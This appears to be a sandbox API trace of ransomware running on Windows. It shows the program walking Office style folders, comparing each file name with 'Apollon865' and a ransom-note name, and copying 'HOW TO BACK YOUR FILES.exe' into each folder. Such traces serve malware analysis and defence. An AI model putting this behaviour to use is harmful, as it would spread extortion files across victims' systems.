	[0070.871] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1
	[0070.871] lstrcmpiW (lpString1="Desert.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.871] lstrcmpiW (lpString1="Desert.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.871] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Desert.css" | out: lpString1="Desert.css") returned="Desert.css"
	[0070.871] lstrlenW (lpString="Desert.css") returned 10
	[0070.871] lstrlenW (lpString="Apollon865") returned 10
	[0070.871] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Earthy.css" | out: lpString1="Earthy.css") returned="Earthy.css"
	[0070.871] lstrlenW (lpString="Earthy.css") returned 10
	[0070.871] lstrlenW (lpString="Apollon865") returned 10
	[0070.871] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="GrayCheck" | out: lpString1="GrayCheck") returned="GrayCheck"
	[0070.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff48
	[0070.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd2) returned 0x5a0d38
	[0070.871] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff50 | out: ListHead=0x5b76b0, ListEntry=0x59ff50) returned 0x59ff30
	[0070.871] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1
	[0070.871] lstrcmpiW (lpString1="GrayCheck.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.871] lstrcmpiW (lpString1="GrayCheck.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.872] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="GrayCheck.css" | out: lpString1="GrayCheck.css") returned="GrayCheck.css"
	[0070.872] lstrlenW (lpString="GrayCheck.css") returned 13
	[0070.872] lstrlenW (lpString="Apollon865") returned 10
	[0070.872] lstrcmpiW (lpString1="yCheck.css", lpString2="Apollon865") returned 1
	[0070.872] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="GreenTea.css" | out: lpString1="GreenTea.css") returned="GreenTea.css"
	[0070.872] lstrlenW (lpString="GreenTea.css") returned 12
	[0070.872] lstrlenW (lpString="Apollon865") returned 10
	[0070.872] lstrcmpiW (lpString1="eenTea.css", lpString2="Apollon865") returned 1
	[0070.872] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="LightSpirit.css" | out: lpString1="LightSpirit.css") returned="LightSpirit.css"
	[0070.872] lstrlenW (lpString="LightSpirit.css") returned 15
	[0070.872] lstrlenW (lpString="Apollon865") returned 10
	[0070.872] lstrcmpiW (lpString1="Spirit.css", lpString2="Apollon865") returned 1
	[0070.872] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Lime" | out: lpString1="Lime") returned="Lime"
	[0070.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff68
	[0070.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc8) returned 0x59a420
	[0070.872] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff70 | out: ListHead=0x5b76b0, ListEntry=0x59ff70) returned 0x59ff50
	[0070.872] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1091, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1
	[0070.872] lstrcmpiW (lpString1="Lime.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.872] lstrcmpiW (lpString1="Lime.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.872] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Lime.css" | out: lpString1="Lime.css") returned="Lime.css"
	[0070.872] lstrlenW (lpString="Lime.css") returned 8
	[0070.872] lstrlenW (lpString="Apollon865") returned 10
	[0070.872] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Maroon.css" | out: lpString1="Maroon.css") returned="Maroon.css"
	[0070.872] lstrlenW (lpString="Maroon.css") returned 10
	[0070.873] lstrlenW (lpString="Apollon865") returned 10
	[0070.873] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Oasis" | out: lpString1="Oasis") returned="Oasis"
	[0070.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff88
	[0070.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xca) returned 0x5a55f0
	[0070.873] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff90 | out: ListHead=0x5b76b0, ListEntry=0x59ff90) returned 0x59ff70
	[0070.873] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1
	[0070.873] lstrcmpiW (lpString1="Oasis.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.873] lstrcmpiW (lpString1="Oasis.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.873] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Oasis.css" | out: lpString1="Oasis.css") returned="Oasis.css"
	[0070.873] lstrlenW (lpString="Oasis.css") returned 9
	[0070.873] lstrlenW (lpString="Apollon865") returned 10
	[0070.873] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="OliveGreen.css" | out: lpString1="OliveGreen.css") returned="OliveGreen.css"
	[0070.873] lstrlenW (lpString="OliveGreen.css") returned 14
	[0070.873] lstrlenW (lpString="Apollon865") returned 10
	[0070.873] lstrcmpiW (lpString1="eGreen.css", lpString2="Apollon865") returned 1
	[0070.873] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Premium.css" | out: lpString1="Premium.css") returned="Premium.css"
	[0070.873] lstrlenW (lpString="Premium.css") returned 11
	[0070.873] lstrlenW (lpString="Apollon865") returned 10
	[0070.873] lstrcmpiW (lpString1="remium.css", lpString2="Apollon865") returned 1
	[0070.873] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Slate" | out: lpString1="Slate") returned="Slate"
	[0070.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffa8
	[0070.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xca) returned 0x5a56c8
	[0070.873] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffb0 | out: ListHead=0x5b76b0, ListEntry=0x59ffb0) returned 0x59ff90
	[0070.873] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1
	[0070.873] lstrcmpiW (lpString1="Slate.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.873] lstrcmpiW (lpString1="Slate.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.874] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Slate.css" | out: lpString1="Slate.css") returned="Slate.css"
	[0070.874] lstrlenW (lpString="Slate.css") returned 9
	[0070.874] lstrlenW (lpString="Apollon865") returned 10
	[0070.874] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SlateBlue.css" | out: lpString1="SlateBlue.css") returned="SlateBlue.css"
	[0070.874] lstrlenW (lpString="SlateBlue.css") returned 13
	[0070.874] lstrlenW (lpString="Apollon865") returned 10
	[0070.874] lstrcmpiW (lpString1="teBlue.css", lpString2="Apollon865") returned 1
	[0070.874] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SoftBlue" | out: lpString1="SoftBlue") returned="SoftBlue"
	[0070.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffc8
	[0070.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd0) returned 0x5a57a0
	[0070.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffd0 | out: ListHead=0x5b76b0, ListEntry=0x59ffd0) returned 0x59ffb0
	[0070.874] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x11ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1
	[0070.874] lstrcmpiW (lpString1="SoftBlue.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.874] lstrcmpiW (lpString1="SoftBlue.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.874] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SoftBlue.css" | out: lpString1="SoftBlue.css") returned="SoftBlue.css"
	[0070.874] lstrlenW (lpString="SoftBlue.css") returned 12
	[0070.874] lstrlenW (lpString="Apollon865") returned 10
	[0070.874] lstrcmpiW (lpString1="ftBlue.css", lpString2="Apollon865") returned 1
	[0070.874] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SpringGreen" | out: lpString1="SpringGreen") returned="SpringGreen"
	[0070.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffe8
	[0070.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd6) returned 0x59a4f0
	[0070.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fff0 | out: ListHead=0x5b76b0, ListEntry=0x59fff0) returned 0x59ffd0
	[0070.874] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1
	[0070.874] lstrcmpiW (lpString1="SpringGreen.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.874] lstrcmpiW (lpString1="SpringGreen.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.875] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SpringGreen.css" | out: lpString1="SpringGreen.css") returned="SpringGreen.css"
	[0070.875] lstrlenW (lpString="SpringGreen.css") returned 15
	[0070.875] lstrlenW (lpString="Apollon865") returned 10
	[0070.875] lstrcmpiW (lpString1="gGreen.css", lpString2="Apollon865") returned 1
	[0070.875] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Sts.css" | out: lpString1="Sts.css") returned="Sts.css"
	[0070.875] lstrlenW (lpString="Sts.css") returned 7
	[0070.875] lstrlenW (lpString="Apollon865") returned 10
	[0070.875] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="STS2" | out: lpString1="STS2") returned="STS2"
	[0070.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0008
	[0070.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc8) returned 0x59a0b0
	[0070.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0010 | out: ListHead=0x5b76b0, ListEntry=0x5a0010) returned 0x59fff0
	[0070.875] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1
	[0070.875] lstrcmpiW (lpString1="Sts2.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.875] lstrcmpiW (lpString1="Sts2.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.875] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Sts2.css" | out: lpString1="Sts2.css") returned="Sts2.css"
	[0070.875] lstrlenW (lpString="Sts2.css") returned 8
	[0070.875] lstrlenW (lpString="Apollon865") returned 10
	[0070.875] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Swirl" | out: lpString1="Swirl") returned="Swirl"
	[0070.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0028
	[0070.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xca) returned 0x5a5878
	[0070.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0030 | out: ListHead=0x5b76b0, ListEntry=0x5a0030) returned 0x5a0010
	[0070.875] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1
	[0070.875] lstrcmpiW (lpString1="Swirl.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.875] lstrcmpiW (lpString1="Swirl.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.875] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Swirl.css" | out: lpString1="Swirl.css") returned="Swirl.css"
	[0070.875] lstrlenW (lpString="Swirl.css") returned 9
	[0070.875] lstrlenW (lpString="Apollon865") returned 10
	[0070.876] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Teal.css" | out: lpString1="Teal.css") returned="Teal.css"
	[0070.876] lstrlenW (lpString="Teal.css") returned 8
	[0070.876] lstrlenW (lpString="Apollon865") returned 10
	[0070.876] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="TexturedBlue.css" | out: lpString1="TexturedBlue.css") returned="TexturedBlue.css"
	[0070.876] lstrlenW (lpString="TexturedBlue.css") returned 16
	[0070.876] lstrlenW (lpString="Apollon865") returned 10
	[0070.876] lstrcmpiW (lpString1="edBlue.css", lpString2="Apollon865") returned 1
	[0070.876] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="VelvetRose.css" | out: lpString1="VelvetRose.css") returned="VelvetRose.css"
	[0070.876] lstrlenW (lpString="VelvetRose.css") returned 14
	[0070.876] lstrlenW (lpString="Apollon865") returned 10
	[0070.876] lstrcmpiW (lpString1="etRose.css", lpString2="Apollon865") returned 1
	[0070.876] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl"
	[0070.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5878 | out: hHeap=0x580000) returned 1
	[0070.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0028 | out: hHeap=0x580000) returned 1
	[0070.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl") returned 100
	[0070.876] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl"
	[0070.876] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.876] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.882] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4251fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4251fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.882] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.882] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.882] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="background.gif" | out: lpString1="background.gif") returned="background.gif"
	[0070.882] lstrlenW (lpString="background.gif") returned 14
	[0070.882] lstrlenW (lpString="Apollon865") returned 10
	[0070.882] lstrcmpiW (lpString1="ground.gif", lpString2="Apollon865") returned 1
	[0070.882] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="HEADER.GIF" | out: lpString1="HEADER.GIF") returned="HEADER.GIF"
	[0070.882] lstrlenW (lpString="HEADER.GIF") returned 10
	[0070.882] lstrlenW (lpString="Apollon865") returned 10
	[0070.882] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="TAB_OFF.GIF" | out: lpString1="TAB_OFF.GIF") returned="TAB_OFF.GIF"
	[0070.882] lstrlenW (lpString="TAB_OFF.GIF") returned 11
	[0070.883] lstrlenW (lpString="Apollon865") returned 10
	[0070.883] lstrcmpiW (lpString1="AB_OFF.GIF", lpString2="Apollon865") returned -1
	[0070.883] lstrcpyW (in: lpString1=0x2d3e61a, lpString2="TAB_ON.GIF" | out: lpString1="TAB_ON.GIF") returned="TAB_ON.GIF"
	[0070.883] lstrlenW (lpString="TAB_ON.GIF") returned 10
	[0070.883] lstrlenW (lpString="Apollon865") returned 10
	[0070.883] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2"
	[0070.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0b0 | out: hHeap=0x580000) returned 1
	[0070.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0008 | out: hHeap=0x580000) returned 1
	[0070.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2") returned 99
	[0070.883] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2"
	[0070.883] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.889] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4251fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4251fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.889] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.889] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.889] lstrcpyW (in: lpString1=0x2d3e618, lpString2="background.gif" | out: lpString1="background.gif") returned="background.gif"
	[0070.889] lstrlenW (lpString="background.gif") returned 14
	[0070.889] lstrlenW (lpString="Apollon865") returned 10
	[0070.889] lstrcmpiW (lpString1="ground.gif", lpString2="Apollon865") returned 1
	[0070.889] lstrcpyW (in: lpString1=0x2d3e618, lpString2="HEADER.GIF" | out: lpString1="HEADER.GIF") returned="HEADER.GIF"
	[0070.889] lstrlenW (lpString="HEADER.GIF") returned 10
	[0070.889] lstrlenW (lpString="Apollon865") returned 10
	[0070.889] lstrcpyW (in: lpString1=0x2d3e618, lpString2="TAB_OFF.GIF" | out: lpString1="TAB_OFF.GIF") returned="TAB_OFF.GIF"
	[0070.889] lstrlenW (lpString="TAB_OFF.GIF") returned 11
	[0070.889] lstrlenW (lpString="Apollon865") returned 10
	[0070.889] lstrcmpiW (lpString1="AB_OFF.GIF", lpString2="Apollon865") returned -1
	[0070.889] lstrcpyW (in: lpString1=0x2d3e618, lpString2="TAB_ON.GIF" | out: lpString1="TAB_ON.GIF") returned="TAB_ON.GIF"
	[0070.889] lstrlenW (lpString="TAB_ON.GIF") returned 10
	[0070.889] lstrlenW (lpString="Apollon865") returned 10
	[0070.890] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen"
	[0070.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4f0 | out: hHeap=0x580000) returned 1
	[0070.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x580000) returned 1
	[0070.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen") returned 106
	[0070.890] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen"
	[0070.890] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.895] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42545bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42545bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.895] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
